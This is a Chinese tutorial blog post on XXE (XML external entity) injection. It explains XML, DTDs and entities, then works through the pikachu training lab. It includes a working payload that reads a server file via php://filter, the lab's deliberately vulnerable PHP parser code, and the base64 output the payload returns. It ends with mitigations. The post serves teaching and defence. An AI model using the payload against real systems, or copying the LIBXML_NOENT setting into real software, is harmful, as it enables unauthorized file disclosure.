0%

浅谈XXE攻击

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

XML基础知识

参考自:XML 简介

什么是XML

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- XML 声明 -->
<?xml version="1.0" encoding="ISO-8859-1"?>

<!-- DTD -->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<!-- 文档元素 -->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

以上 DTD 解释如下:

  • !DOCTYPE note 定义此文档是 note 类型的文档。

  • !ELEMENT note 定义 note 元素有四个元素:”to、from、heading,、body”

  • !ELEMENT to 定义 to 元素为 “#PCDATA“ 类型

  • !ELEMENT from 定义 from 元素为 “#PCDATA“ 类型

  • !ELEMENT heading 定义 heading 元素为 “#PCDATA“ 类型

  • !ELEMENT body 定义 body 元素为 “#PCDATA“ 类型

DTD

文档类型定义(DTD, Document Type Definition)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部声明DTD

1
2
3
<!DOCTYPE 根元素 [元素声明]>

<!DOCTYPE note [......]>

外部声明DTD

1
<!DOCTYPE 根元素 SYSTEM "文件名">
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

一个内部实体声明

语法

1
<!ENTITY 实体名称 "实体的值">

例子

DTD 例子:

1
2
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

1
<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

语法:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

1
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

1
<author>&writer;&copyright;</author>

不同程序支持的协议不一样

XXE漏洞

XXE漏洞全称 XML External Entity Injection ,即XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。

漏洞利用

靶场:pikachu xxe

相关源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){

$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}

payload:

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&file;</x>

output:

1
PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAieHhlLnBocCIpewogICAgJEFDVElWRSA9IGFycmF5KCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCdhY3RpdmUgb3BlbicsJ2FjdGl2ZScsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycpOwp9CgokUElLQV9ST09UX0RJUiA9ICAiLi4vLi4vIjsKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSLidoZWFkZXIucGhwJzsKCgo/PgoKCgo8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50LWlubmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1icyBhY2Utc2F2ZS1zdGF0ZSIgaWQ9ImJyZWFkY3J1bWJzIj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIj4KICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iYWNlLWljb24gZmEgZmEtaG9tZSBob21lLWljb24iPjwvaT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJ4ZWUucGhwIj48L2E+CiAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJhY3RpdmUiPuamgui/sDwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250ZW50Ij4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InZ1bCBpbmZvIj4KICAgICAgICAgICAgICAgIFhYRSAtInhtbCBleHRlcm5hbCBlbnRpdHkgaW5qZWN0aW9uIjxicj4KICAgICAgICAgICAgICAgIOaXoiJ4bWzlpJbpg6jlrp7kvZPms6jlhaXmvI/mtJ4i44CCPGJyPgogICAgICAgICAgICAgICAg5qaC5ous5LiA5LiL5bCx5pivIuaUu+WHu+iAhemAmui/h+WQkeacjeWKoeWZqOazqOWFpeaMh+WumueahHhtbOWunuS9k+WGheWuuSzku47ogIzorqnmnI3liqHlmajmjInnhafmjIflrprnmoTphY3nva7ov5vooYzmiafooYws5a+86Ie06Zeu6aKYIjxicj4KICAgICAgICAgICAgICAgIOS5n+WwseaYr+ivtOacjeWKoeerr+aOpeaUtuWSjOino+aekOS6huadpeiHqueUqOaIt+err+eahHhtbOaVsOaNrizogIzlj4jmsqHmnInlgZrkuKXmoLznmoTlronlhajmjqfliLYs5LuO6ICM5a+86Ie0eG1s5aSW6YOo5a6e5L2T5rOo5YWl44CCPGJyPgogICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAg5YW35L2T55qE5YWz5LqOeG1s5a6e5L2T55qE5LuL57uNLOe9kee7nOS4iuacieW+iOWkmizoh6rlt7HliqjmiYvlhYjmn6XkuIDkuIvjgIIKICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOeOsOWcqOW+iOWkmuivreiogOmHjOmdouWvueW6lOeahOino+aekHhtbOeahOWHveaVsOm7mOiupOaYr+emgeatouino+aekOWklumDqOWunuS9k+WGheWuueeahCzku47ogIzkuZ/lsLHnm7TmjqXpgb/lhY3kuobov5nkuKrmvI/mtJ7jgII8YnI+CiAgICAgICAgICAgICAgICDku6VQSFDkuLrkvoss5ZyoUEhQ6YeM6Z2i6Kej5p6QeG1s55So55qE5pivbGlieG1sLOWFtuWcqOKJpTIuOS4w55qE54mI5pys5LitLOm7mOiupOaYr+emgeatouino+aekHhtbOWklumDqOWunuS9k+WGheWuueeahOOAgjxicj4KICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOacrOeroOaPkOS+m+eahOahiOS+i+S4rSzkuLrkuobmqKHmi5/mvI/mtJ4s6YCa6L+H5omL5Yqo5oyH5a6aTElCWE1MX05PRU5U6YCJ6aG55byA5ZCv5LqGeG1s5aSW6YOo5a6e5L2T6Kej5p6Q44CCCgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PjwhLS0gLy5wYWdlLWNvbnRlbnQgLS0+CiAgICA8L2Rpdj4KPC9kaXY+PCEtLSAvLm1haW4tY29udGVudCAtLT4KCgoKPD9waHAKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSIC4gJ2Zvb3Rlci5waHAnOwoKPz4K

漏洞防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

1
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

对变量:<!DOCTYPE<!ENTITY,或者,SYSTEM和PUBLIC进行过滤

3.检查所使用的底层xml解析库,默认禁止外部实体的解析
4.使用第三方应用代码及时升级补丁
5.同时增强对系统的监控,防止此问题被人利用

参考

浅谈XXE漏洞攻击与防御

未知攻焉知防——XXE漏洞攻防